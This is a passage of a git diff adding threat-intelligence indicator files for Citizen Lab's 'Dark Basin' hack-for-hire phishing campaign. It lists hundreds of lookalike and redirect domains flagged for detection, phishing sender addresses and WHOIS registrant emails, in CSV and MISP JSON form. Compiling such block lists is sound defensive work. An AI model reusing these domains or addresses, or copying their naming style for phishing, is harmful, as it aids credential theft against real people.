activity,domain,"strongbolthostinghk.com","",1,20200608 +5ede974b-ac3c-4cd0-852e-7a498064ab0b,147,Network activity,domain,"belowmargins.com","",1,20200608 +5ede974b-acf4-4960-87bf-7a498064ab0b,147,Network activity,domain,"serverfornetworks.com","",1,20200608 +5ede974b-ae2c-4309-a967-7a498064ab0b,147,Network activity,domain,"mailservereurope.com","",1,20200608 +5ede974b-ae7c-4519-9607-7a498064ab0b,147,Network activity,domain,"hklinbas.com","",1,20200608 +5ede974b-aeb0-4b09-9650-7a498064ab0b,147,Network activity,domain,"hostbasicmy.com","",1,20200608 +5ede974b-af2c-4075-b385-7a498064ab0b,147,Network activity,domain,"domainforhostuk.com","",1,20200608 +5ede974b-b028-4cd7-b4c3-7a498064ab0b,147,Network activity,domain,"bitserverlux.com","",1,20200608 +5ede974b-b0f8-471a-a175-7a498064ab0b,147,Network activity,domain,"hostingservicesukit.com","",1,20200608 +5ede974b-b218-498c-9aa8-7a498064ab0b,147,Network activity,domain,"frwrdrurl.com","",1,20200608 +5ede974b-b444-4749-83d7-7a498064ab0b,147,Network activity,domain,"rulinuxbasic.com","",1,20200608 +5ede974b-b44c-48af-9023-7a498064ab0b,147,Network activity,domain,"webredirect.click","",1,20200608 +5ede974b-b4a4-4b8d-ae21-7a498064ab0b,147,Network activity,domain,"linuxserverfast.com","",1,20200608 +5ede974b-b544-44bd-a17a-7a498064ab0b,147,Network activity,domain,"serverforhiretech.com","",1,20200608 +5ede974b-b574-4200-beaa-7a498064ab0b,147,Network activity,domain,"serverfortechhelp.com","",1,20200608 +5ede974b-b5e8-4554-98f1-7a498064ab0b,147,Network activity,domain,"domainserveractive.com","",1,20200608 +5ede974b-bd48-4ac8-8a01-7a498064ab0b,147,Network activity,domain,"hostingservicesloyal.com","",1,20200608 +5ede974b-bf8c-42fc-bc23-7a498064ab0b,147,Network activity,domain,"pageredirectservice.com","",1,20200608 +5ede974b-bfac-49c8-9853-7a498064ab0b,147,Network activity,domain,"personaldoaminsg.com","",1,20200608 +5ede974b-c100-45b4-81df-7a498064ab0b,147,Network activity,domain,"webserverdomainhk.com","",1,20200608 +5ede974b-c338-4d27-8906-7a498064ab0b,147,Network activity,domain,"onlineloginserviceusa.com","",1,20200608 +5ede974b-c358-49be-aa68-7a498064ab0b,147,Network activity,domain,"serverforzapper.com","",1,20200608 +5ede974b-c498-4a47-ac99-7a498064ab0b,147,Network activity,domain,"serverformailings.com","",1,20200608 +5ede974b-c58c-44a6-9981-7a498064ab0b,147,Network activity,domain,"cathostingservice.com","",1,20200608 +5ede974b-ce3c-4b3d-a1cf-7a498064ab0b,147,Network activity,domain,"hostingserviceclean.com","",1,20200608 +5ede974b-cf40-41d9-90fb-7a498064ab0b,147,Network activity,domain,"serverforhelphk.com","",1,20200608 +5ede974b-d060-40eb-9e73-7a498064ab0b,147,Network activity,domain,"serverdemoservice.com","",1,20200608 +5ede974b-d230-4215-839c-7a498064ab0b,147,Network activity,domain,"hostingserviceforall.com","",1,20200608 +5ede974b-d254-42f4-8dce-7a498064ab0b,147,Network activity,domain,"anothershortnr.com","",1,20200608 +5ede974b-d3ac-4247-822d-7a498064ab0b,147,Network activity,domain,"upgradetravelservice.com","",1,20200608 +5ede974b-d554-4553-833a-7a498064ab0b,147,Network activity,domain,"portfoliofasinating.com","",1,20200608 +5ede974b-d554-4f2f-a399-7a498064ab0b,147,Network activity,domain,"onlineloginportal.com","",1,20200608 +5ede974b-d5b4-4852-907d-7a498064ab0b,147,Network activity,domain,"linuxbasichk1.com","",1,20200608 +5ede974b-d620-4c77-b6c0-7a498064ab0b,147,Network activity,domain,"fastserveruk.com","",1,20200608 +5ede974b-d710-4c41-89a9-7a498064ab0b,147,Network activity,domain,"serviceforneworder.com","",1,20200608 +5ede974b-d768-4621-beeb-7a498064ab0b,147,Network activity,domain,"capitalinvestmentsllp.com","",1,20200608 +5ede974b-d928-4ccf-9dfe-7a498064ab0b,147,Network activity,domain,"netsecuremailhosting.com","",1,20200608 +5ede974b-da3c-4adb-904b-7a498064ab0b,147,Network activity,domain,"optionaldesigners.com","",1,20200608 +5ede974b-dab8-4408-8afd-7a498064ab0b,147,Network activity,domain,"fastserverasia.com","",1,20200608 +5ede974b-dc1c-4a27-9d22-7a498064ab0b,147,Network activity,domain,"optionalbloggingeu.com","",1,20200608 +5ede974b-dc24-4f46-8aff-7a498064ab0b,147,Network activity,domain,"netgeoserversg.com","",1,20200608 +5ede974b-dc28-4fac-bc85-7a498064ab0b,147,Network activity,domain,"baseserveremailbg.com","",1,20200608 +5ede974b-dd14-499c-a5c8-7a498064ab0b,147,Network activity,domain,"basicmyoffshore.com","",1,20200608 +5ede974b-ddec-496d-90fa-7a498064ab0b,147,Network activity,domain,"domainsfortechhelp.com","",1,20200608 +5ede974b-e070-47f5-9941-7a498064ab0b,147,Network activity,domain,"linuxbasicmy.com","",1,20200608 +5ede974b-e1a8-480a-85ca-7a498064ab0b,147,Network activity,domain,"readmytipsntricks.com","",1,20200608 +5ede974b-e2cc-4736-9799-7a498064ab0b,147,Network activity,domain,"linuxbasichk.com","",1,20200608 +5ede974b-e350-4f53-baba-7a498064ab0b,147,Network activity,domain,"assuredreturnplan.com","",1,20200608 +5ede974b-e4d8-40c7-bb37-7a498064ab0b,147,Network activity,domain,"sapserverhike.com","",1,20200608 +5ede974b-e7d8-4879-aa9c-7a498064ab0b,147,Network activity,domain,"post-manager.com","",1,20200608 +5ede974b-e93c-400b-8a1d-7a498064ab0b,147,Network activity,domain,"shortenup.com","",1,20200608 +5ede974b-ea70-40df-ab83-7a498064ab0b,147,Network activity,domain,"dnsserverprv.com","",1,20200608 +5ede974b-eaf8-406b-ac11-7a498064ab0b,147,Network activity,domain,"secureservereurope.com","",1,20200608 +5ede974b-eed4-4938-84d1-7a498064ab0b,147,Network activity,domain,"domainlocalhostingeu.com","",1,20200608 +5ede974b-ef18-4011-a98e-7a498064ab0b,147,Network activity,domain,"mailauthservice.com","",1,20200608 +5ede974b-efd8-4e35-b441-7a498064ab0b,147,Network activity,domain,"linuxbasicsg.com","",1,20200608 +5ede974b-f004-43fc-91f8-7a498064ab0b,147,Network activity,domain,"linkforwrder.com","",1,20200608 +5ede974b-f07c-459d-bbfd-7a498064ab0b,147,Network activity,domain,"prwebsiteuk.com","",1,20200608 +5ede974b-f100-4344-9990-7a498064ab0b,147,Network activity,domain,"optionsothego.com","",1,20200608 +5ede974b-f180-4a01-92f0-7a498064ab0b,147,Network activity,domain,"webserverdomaineu.com","",1,20200608 +5ede974b-f24c-4033-934a-7a498064ab0b,147,Network activity,domain,"selectedserviceru.com","",1,20200608 +5ede974b-f528-4693-9214-7a498064ab0b,147,Network activity,domain,"shorturlservice.com","",1,20200608 +5ede974b-f8ac-4b06-b3e2-7a498064ab0b,147,Network activity,domain,"serverforhelpsg.com","",1,20200608 +5ede974b-fc78-4632-bc67-7a498064ab0b,147,Network activity,domain,"transferdomainmy.com","",1,20200608 +5ede974b-fdb8-4975-9ea4-7a498064ab0b,147,Network activity,domain,"linuxhostingplatformuk.com","",1,20200608 +5ede974b-fe1c-4b88-a1f1-7a498064ab0b,147,Network activity,domain,"linuxbasicru1.com","",1,20200608 +5ede974b-ffc0-44b9-8d8e-7a498064ab0b,147,Network activity,domain,"basicservicesg.com","",1,20200608 +5ede974b-fff8-4ae5-946a-7a498064ab0b,147,Network activity,domain,"basicsgoffshore.com","",1,20200608 +5ede974c-0254-48bb-8890-7a498064ab0b,147,Network activity,domain,"dsrvrer.com","",1,20200608 +5ede974c-06e8-4cda-9533-7a498064ab0b,147,Network activity,domain,"ecoserveraus.com","",1,20200608 +5ede974c-07ac-483b-97b8-7a498064ab0b,147,Network activity,domain,"minrsrvr.com","",1,20200608 +5ede974c-0a28-4f20-a141-7a498064ab0b,147,Network activity,domain,"cyberserverusa.com","",1,20200608 +5ede974c-0c50-4fca-ba3b-7a498064ab0b,147,Network activity,domain,"shortserver1.com","",1,20200608 +5ede974c-0cfc-4388-816d-7a498064ab0b,147,Network activity,domain,"inrsrvrer.com","",1,20200608 +5ede974c-11c4-44d6-8fb5-7a498064ab0b,147,Network activity,domain,"snaphosterservice.com","",1,20200608 +5ede974c-15ec-4c50-8e7e-7a498064ab0b,147,Network activity,domain,"com-us-en-us.com","",1,20200608 +5ede974c-18c0-4297-9099-7a498064ab0b,147,Network activity,domain,"msrdr.com","",1,20200608 +5ede974c-199c-47f6-bb3d-7a498064ab0b,147,Network activity,domain,"sitebloginfo.com","",1,20200608 +5ede974c-19e4-4a62-b752-7a498064ab0b,147,Network activity,domain,"transferserver33.com","",1,20200608 +5ede974c-1da0-4549-96cc-7a498064ab0b,147,Network activity,domain,"affiliatedomainservice.com","",1,20200608 +5ede974c-1f50-44e9-b3a6-7a498064ab0b,147,Network activity,domain,"nrgrsrvrer.com","",1,20200608 +5ede974c-2214-4607-80a7-7a498064ab0b,147,Network activity,domain,"budgtoffmy.com","",1,20200608 +5ede974c-2518-4f2b-a1c2-7a498064ab0b,147,Network activity,domain,"webmailmanageruk.com","",1,20200608 +5ede974c-2e18-429a-be6d-7a498064ab0b,147,Network activity,domain,"com-er-en-us.com","",1,20200608 +5ede974c-40e8-417c-892e-7a498064ab0b,147,Network activity,domain,"deferrer.website","",1,20200608 +5ede974c-4364-4cc2-a094-7a498064ab0b,147,Network activity,domain,"siteadminhk.com","",1,20200608 +5ede974c-450c-4d31-a992-7a498064ab0b,147,Network activity,domain,"zsrvrer.com","",1,20200608 +5ede974c-4ac0-4551-a821-7a498064ab0b,147,Network activity,domain,"nigeriaoilleaks.com","",1,20200608 +5ede974c-4f78-44e0-b1d4-7a498064ab0b,147,Network activity,domain,"com-biz.website","",1,20200608 +5ede974c-571c-406b-835a-7a498064ab0b,147,Network activity,domain,"look-com.org","",1,20200608 +5ede974c-5aa4-4e2b-82b2-7a498064ab0b,147,Network activity,domain,"serverforhelpmy.com","",1,20200608 +5ede974c-5f3c-4034-8163-7a498064ab0b,147,Network activity,domain,"websitemanagerusa.com","",1,20200608 +5ede974c-602c-4aa9-bbb0-7a498064ab0b,147,Network activity,domain,"ondemand.pushthisurl.com","",1,20200608 +5ede974c-643c-42d9-bae7-7a498064ab0b,147,Network activity,domain,"ppleid.org","",1,20200608 +5ede974c-6654-47da-adb0-7a498064ab0b,147,Network activity,domain,"mail-msrgr.info","",1,20200608 +5ede974c-6964-4b95-96e4-7a498064ab0b,147,Network activity,domain,"com-mail-us.com","",1,20200608 +5ede974c-6c8c-46e5-b610-7a498064ab0b,147,Network activity,domain,"com-io-en-us.com","",1,20200608 +5ede974c-74c4-4434-a43a-7a498064ab0b,147,Network activity,domain,"mrgrhr.com","",1,20200608 +5ede974c-7710-4657-9242-7a498064ab0b,147,Network activity,domain,"forumtechtopic.com","",1,20200608 +5ede974c-7df4-4194-9704-7a498064ab0b,147,Network activity,domain,"com-oa-en-us.com","",1,20200608 +5ede974c-8898-4c9a-8424-7a498064ab0b,147,Network activity,domain,"mgrsr.com","",1,20200608 +5ede974c-899c-409f-b5d0-7a498064ab0b,147,Network activity,domain,"com-com-us.com","",1,20200608 +5ede974c-8f54-43b7-83ef-7a498064ab0b,147,Network activity,domain,"csrvrer.com","",1,20200608 +5ede974c-9774-4c94-9234-7a498064ab0b,147,Network activity,domain,"mnrsrvrer.com","",1,20200608 +5ede974c-9ae8-4036-9084-7a498064ab0b,147,Network activity,domain,"serverforhelplux.com","",1,20200608 +5ede974c-9d4c-4204-83e2-7a498064ab0b,147,Network activity,domain,"imgsrvrer.com","",1,20200608 +5ede974c-9e88-4d0c-8afa-7a498064ab0b,147,Network activity,domain,"com-ar-en-us.com","",1,20200608 +5ede974c-a220-4201-9852-7a498064ab0b,147,Network activity,domain,"saferedirect.pw","",1,20200608 +5ede974c-a838-47c5-b462-7a498064ab0b,147,Network activity,domain,"interserver439.com","",1,20200608 +5ede974c-b21c-4c11-afb7-7a498064ab0b,147,Network activity,domain,"com-hl-en-us.com","",1,20200608 +5ede974c-b2f0-4a05-ba80-7a498064ab0b,147,Network activity,domain,"budgtoffru.com","",1,20200608 +5ede974c-b35c-450a-93ba-7a498064ab0b,147,Network activity,domain,"chatserverrussia.com","",1,20200608 +5ede974c-b700-4dd5-8f65-7a498064ab0b,147,Network activity,domain,"nameserver3476.com","",1,20200608 +5ede974c-b734-45bc-ac73-7a498064ab0b,147,Network activity,domain,"secureemailserver65.com","",1,20200608 +5ede974c-b878-4327-a297-7a498064ab0b,147,Network activity,domain,"aplsrvrer.com","",1,20200608 +5ede974c-be08-4f6d-86b8-7a498064ab0b,147,Network activity,domain,"intrsrvrer.com","",1,20200608 +5ede974c-c058-4beb-ba35-7a498064ab0b,147,Network activity,domain,"com-nh-en-us.com","",1,20200608 +5ede974c-c684-4c87-9e52-7a498064ab0b,147,Network activity,domain,"mvrsrvrer.com","",1,20200608 +5ede974c-c86c-4e8e-bb6f-7a498064ab0b,147,Network activity,domain,"bsrvrer.com","",1,20200608 +5ede974c-ce54-4e66-a5fd-7a498064ab0b,147,Network activity,domain,"msrwr.com","",1,20200608 +5ede974c-d024-4581-b7dc-7a498064ab0b,147,Network activity,domain,"mail-com.org","",1,20200608 +5ede974c-d444-40a9-a6e0-7a498064ab0b,147,Network activity,domain,"xpertdomain.com","",1,20200608 +5ede974c-d518-4de6-90a3-7a498064ab0b,147,Network activity,domain,"com-en-us.co.uk","",1,20200608 +5ede974c-d6c4-4236-ad25-7a498064ab0b,147,Network activity,domain,"esrvrer.com","",1,20200608 +5ede974c-d77c-4cf9-8adc-7a498064ab0b,147,Network activity,domain,"com-mail.net","",1,20200608 +5ede974c-d9b0-45f0-892c-7a498064ab0b,147,Network activity,domain,"isrvrer.com","",1,20200608 +5ede974c-db3c-441b-afc6-7a498064ab0b,147,Network activity,domain,"siteadmineurope.com","",1,20200608 +5ede974c-df18-4891-b6a8-7a498064ab0b,147,Network activity,domain,"websiteadminuk.com","",1,20200608 +5ede974c-e6e8-43d0-9760-7a498064ab0b,147,Network activity,domain,"com-com.website","",1,20200608 +5ede974c-e82c-404a-9286-7a498064ab0b,147,Network activity,domain,"nameserverredirect.com","",1,20200608 +5ede974c-ed3c-4f42-ba2f-7a498064ab0b,147,Network activity,domain,"onlinemusicstoreuk.com","",1,20200608 +5ede974c-f224-46ff-b495-7a498064ab0b,147,Network activity,domain,"linuxbasicru3.com","",1,20200608 +5ede974c-f404-4140-99d1-7a498064ab0b,147,Network activity,domain,"secureserver9898.com","",1,20200608 +5ede97f5-1448-4d36-a35e-7e298064ab0b,147,Payload delivery,email-src,"noreply.mailingservice.3kdj9e9@gmail.com","",0,20200608 +5ede97f5-2e0c-42e1-9cdb-7e298064ab0b,147,Payload delivery,email-src,"noreply.notifications.gkejkdgj@gmail.com","",0,20200608 +5ede97f5-3820-4868-ad30-7e298064ab0b,147,Payload delivery,email-src,"scorpiobond4@gmail.com","",0,20200608 +5ede97f5-409c-44b3-8207-7e298064ab0b,147,Payload delivery,email-src,"no.reply.n0tification.alsdkch@gmail.com","",0,20200608 +5ede97f5-4efc-4e42-afa5-7e298064ab0b,147,Payload delivery,email-src,"n0replyupdatesnotificationskj9@gmail.com","",0,20200608 +5ede97f5-681c-4f01-9706-7e298064ab0b,147,Payload delivery,email-src,"sophia.1johnson@mail.com","",0,20200608 +5ede97f5-6950-4509-9af0-7e298064ab0b,147,Payload delivery,email-src,"n0replyn0tificati0nupdatemail@gmail.com","",0,20200608 +5ede97f5-81f8-4221-8637-7e298064ab0b,147,Payload delivery,email-src,"noreplynotification.updates@gmail.com","",0,20200608 +5ede97f5-89ec-4587-a2d4-7e298064ab0b,147,Payload delivery,email-src,"n0reply.notificationexsasuve@gmail.com","",0,20200608 +5ede97f5-9808-43ba-8d46-7e298064ab0b,147,Payload delivery,email-src,"no.reply.updates.asdfaffgh78jg@gmail.com","",0,20200608 +5ede97f5-e864-4084-a3bb-7e298064ab0b,147,Payload delivery,email-src,"noreply.535466586you6585tubadh@gmail.com","",0,20200608 +5ede982e-23e4-4191-9863-7a498064ab0b,147,Attribution,whois-registrant-email,"amanda.lovers@mail.com","",0,20200608 +5ede982e-3b90-4fc1-95fc-7a498064ab0b,147,Attribution,whois-registrant-email,"anurag.breja342@mail.com","",0,20200608 +5ede982e-8298-4b08-9fd4-7a498064ab0b,147,Attribution,whois-registrant-email,"jacktanne@outlook.com","",0,20200608 +5ede982e-9c50-4452-9aa5-7a498064ab0b,147,Attribution,whois-registrant-email,"flaviatales@mail.com","",0,20200608 +5ede982e-bc48-4231-a1ed-7a498064ab0b,147,Attribution,whois-registrant-email,"amanda.kruetner@mail.com","",0,20200608 +5ede982e-c9f4-490e-9afd-7a498064ab0b,147,Attribution,whois-registrant-email,"robert.klein@europe.com","",0,20200608 diff --git a/data/ioc/spyware/citizen_lab/202006_DarkBasin/misp.json b/data/ioc/spyware/citizen_lab/202006_DarkBasin/misp.json new file mode 100644 index 0000000..187b159 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/202006_DarkBasin/misp.json @@ -0,0 +1,8700 @@ +{"response":[{ + "Event": { + "id": "147", + "orgc_id": "2", + "org_id": "2", + "date": "2020-06-08", + "threat_level_id": "1", + "info": "Dark Basin", + "published": true, + "uuid": "5ede96d1-41fc-4ee7-8a48-7a4a8064ab0b", + "attribute_count": "479", + "analysis": "0", + "timestamp": "1591646254", + "distribution": "1", + "proposal_email_lock": false, + "locked": false, + "publish_timestamp": "1591646297", + "sharing_group_id": "0", + "Org": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Orgc": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Attribute": [ + { + "id": "19050", + "type": "whois-registrant-email", + "category": "Attribution", + "to_ids": false, + "uuid": "5ede982e-23e4-4191-9863-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646254", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "amanda.lovers@mail.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19051", + "type": "whois-registrant-email", + "category": "Attribution", + "to_ids": false, + "uuid": "5ede982e-bc48-4231-a1ed-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646254", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "amanda.kruetner@mail.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19052", + "type": "whois-registrant-email", + "category": "Attribution", + "to_ids": false, + "uuid": "5ede982e-3b90-4fc1-95fc-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646254", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "anurag.breja342@mail.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19053", + "type": "whois-registrant-email", + "category": "Attribution", + "to_ids": false, + "uuid": "5ede982e-8298-4b08-9fd4-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646254", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "jacktanne@outlook.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19054", + "type": "whois-registrant-email", + "category": "Attribution", + "to_ids": false, + "uuid": "5ede982e-9c50-4452-9aa5-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646254", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "flaviatales@mail.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19055", + "type": "whois-registrant-email", + "category": "Attribution", + "to_ids": false, + "uuid": "5ede982e-c9f4-490e-9afd-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646254", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "robert.klein@europe.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18688", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-f598-4c2e-b774-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "emailauthservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18944", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-3b48-441b-9258-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "chromeperfection.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "chromeperfection.com" + } + } + ] + }, + { + "id": "18689", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-b984-4338-b5aa-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "emailmappingservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18945", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-133c-435b-a17d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "trustedserviceonline.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "trustedserviceonline.com" + } + } + ] + }, + { + "id": "18690", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-b078-4d6f-b0ba-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "emailservername299.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18946", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-12b8-478f-9a4a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "browserdirectservice.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "browserdirectservice.com" + } + } + ] + }, + { + "id": "18691", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-4c68-4da6-9f19-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "emailvalidateservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18947", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-69a0-414f-9baa-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "browserredirect.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "browserredirect.com" + } + } + ] + }, + { + "id": "18692", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-3484-42bd-ad35-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hostemailserver.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18948", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-27cc-4146-b861-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "optionalblogging.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "optionalblogging.com" + } + } + ] + }, + { + "id": "18693", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-1408-409d-98b3-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailauthenticatorservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18949", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-11b8-463d-8aee-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "selectedmaxstores.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "selectedmaxstores.com" + } + } + ] + }, + { + "id": "18694", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-df3c-4741-afa8-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailauthservice399.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18950", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-4c1c-4135-96a3-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "auditionregistrationonline.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "auditionregistrationonline.com" + } + } + ] + }, + { + "id": "18695", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-77a8-419e-8feb-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailcollectorservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18951", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-4e40-4bc5-8730-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "homeforallorphans.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "homeforallorphans.com" + } + } + ] + }, + { + "id": "18696", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-0d58-42d4-8444-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailserverenterprise.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18952", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-a0dc-4952-b5e7-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "knowledgebaseonlineuk.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "knowledgebaseonlineuk.com" + } + } + ] + }, + { + "id": "18697", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-54c4-40da-ab7f-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailservershare.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18953", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-a1d4-4af1-b30e-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "promotespritialbelief.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18698", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-ba84-4d86-8998-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "networkshareserver.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18954", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-4918-4acf-8bc2-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "getreadytorunhalfmarathon.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "getreadytorunhalfmarathon.com" + } + } + ] + }, + { + "id": "18699", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-6ff4-4891-9efc-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "domainserver399.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18955", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-995c-4825-96e8-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "getsetgoforhealth.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18700", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-6238-4970-a66e-7a498064ab0b", + "event_id": "147", + "distribution": "5", + 